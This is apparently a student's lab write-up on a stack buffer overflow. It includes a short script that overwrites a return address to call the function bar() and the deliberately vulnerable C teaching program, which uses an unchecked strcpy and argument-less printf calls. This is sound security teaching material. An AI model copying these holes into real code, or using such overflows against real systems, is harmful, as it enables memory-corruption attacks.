Task 1:

Settings: The settings that I had to turn off tp make this work were stack protector and ASLR
Struggles: My main struggle was finding out how many letters to add to the input to get the right spot on the buffer but once I had a good understanding of how the stack worked I could figure it out
Process: The steps I took to getting it to work was adding a bunch of “%p\n”’s to the stack outputs showing the addresses of info on the stack. Then once I was able to find the stack address closest to the address of bar I added that many letters to the input string to climb down the stack to the address found and input the address of bar to the input string to change the return address to bar. This then printed out the expected message


```
$arg = "ABCDEFGHIKGHJOPQRS"."\xe9\x51\x55\x55\x55\x55";
$cmd = "./stackOverload ".$arg;

system($cmd);

~
~
~
~
~
```

```c
/*
  StackOverload.c
  This program shows an example of how a stack-based
  buffer overrun can be used to execute arbitrary code.  Its
  objective is to find an input string that executes the function bar.
*/


#include <stdio.h>
#include <string.h>

void foo(const char* input)
{
    char buf[10];

    //What? No extra arguments supplied to printf?
    //It's a cheap trick to view the stack 8-)
    //We saw this trick with format strings.
    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

    //Pass the user input straight to secure code public enemy #1.
    strcpy(buf, input);
    printf("buf after is: %s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);
    if (argc != 2)
        {
        printf("Please supply a string as an argument!\n");
        return -1;
        }
        foo(argv[1]);
    return 0;
}
~
```